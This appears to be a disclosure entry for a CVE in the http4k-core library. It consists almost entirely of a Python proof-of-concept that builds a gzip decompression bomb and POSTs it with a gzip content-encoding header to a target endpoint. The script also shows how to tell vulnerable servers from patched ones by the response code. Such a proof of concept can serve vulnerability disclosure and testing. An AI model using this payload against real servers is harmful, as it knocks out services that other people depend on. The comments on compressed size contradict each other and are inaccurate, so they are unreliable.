CVE-2026-53659: http4k-core Unbounded Gzip Decompression DoS

import gzip, sys, struct, requests

# Build a gzip bomb: ~10 bytes of compressed zeros that expand to ~1 GB
with open('bomb.gz', 'wb') as f:
    # Python's gzip wraps a stream of zeros
    buf = gzip.compress(b'\x00' * (1024 * 1024 * 1024))  # 1 GB uncompressed
    f.write(buf)

with open('bomb.gz', 'rb') as f:
    payload = f.read()  # only kilobytes on disk

r = requests.post(
    'http://target:8080/any-endpoint',
    data=payload,
    headers={
        'Content-Encoding': 'gzip',
        'Content-Type': 'application/json',
    },
    stream=True
)
print(r.status_code)  # 500 or connection drop on vulnerable; 413 on patched